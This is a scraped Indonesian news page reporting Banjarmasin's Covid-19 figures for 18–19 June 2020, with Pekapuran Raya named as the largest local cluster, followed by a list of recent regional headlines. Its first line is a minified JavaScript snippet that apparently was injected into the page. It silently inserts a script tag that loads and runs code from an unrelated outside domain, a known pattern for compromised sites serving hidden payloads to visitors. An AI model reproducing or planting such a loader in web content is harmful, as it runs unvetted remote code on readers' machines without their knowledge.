(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Pekapuran Raya Tertinggi Positif Covid-19, Jadi Klaster Penularan Lokal di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Kota Banjarmasin hingga saat ini masih zona merah dengan jumlah kasus positif Covid-19 melampui 1000 kasus. Bahkan hingga Kamis (18/6/2020) berdasarkan data dari Dinas Kesehatan Kota Banjarmasin, orang yang positif terpapar Covid-19 sudah berada pada angka 1.010 kasus.

Sehari sebelumnya kasus orang yang terpapar Covid-19 hanya berjumlah 986 orang. Tercatat ada penambahan sebanyak 24 orang, sehingga menjadikan warga yang terpapar Covid-19 itu menjadi 1.010 orang.

Juru Bicara Tim Gugus Tugas Percepatan Penanganan Covid-19 Kota Banjarmasin Dr Machli Riyadi mengatakan, berdasar angka keseluruhan yang meningkat tajam itu tercatat berasal dari Kelurahan Pekapuran Raya terdapat 67 kasus positif Covid-19, 7 kasus meninggal dunia dan 1 kasus sembuh.

“Kelurahan Pekapuran Raya tetap paling tinggi di antara kelurahan lain serta klaster lain,” ujar Machli, Jumat (19/6/2020).

Ia menerangkan, Banjarmasin yang sudah menjadi transmisi lokal, menjadikan Gugus Tugas Percepatan Penanganan Covid-19 Kota Banjarmasin menetapkan Kelurahan Pekapuran Raya sebagai salah satu klaster atau wilayah penularan Covid-19. Lebih lanjut ia menambahkan, jumlah orang dalam pemantauan (ODP) ada sebanyak 400, dan pasien dalam pengawasan (PDP) terdapat 173 orang.

Sebaran kasus positif Covid-19 Kota Banjarmasin per Jumat 19 Juni 2020. foto: gugus tugas covid-19 kota banjarmasin

“Orang tampa gejala (OTG) juga tercatat 785 orang dan sembuh 58 orang, meninggal 107 orang,” ungkapnya.

Kepala Dinas Kesehatan Kota Banjarmasin ini menyebut angka peningkatan kasus Covid-19 di Banjarmasin sudah sangat memprihatinkan. “Kita sangat prihatin atas kondisi yang saat ini terjadi, ini menggambarkan bahwa betapa berbahayanya dampak virus yang mematikan ini,” ucapnya.

Ia tetap mengimbau masyarakat agar tidak panik dan tetap waspada, serta menjaga kekebalan sistem imun tubuh dengan disiplin mengkonsumsi makanan yang bergizi. Tujuan utama dari itu semua adalah untuk memutus mata rantai penyebaran virus Covid-19. (kanalkalimantan.com/fikri)


Al Ghifari

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

8 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

9 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

10 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

10 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

11 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

13 jam ago

This website uses cookies.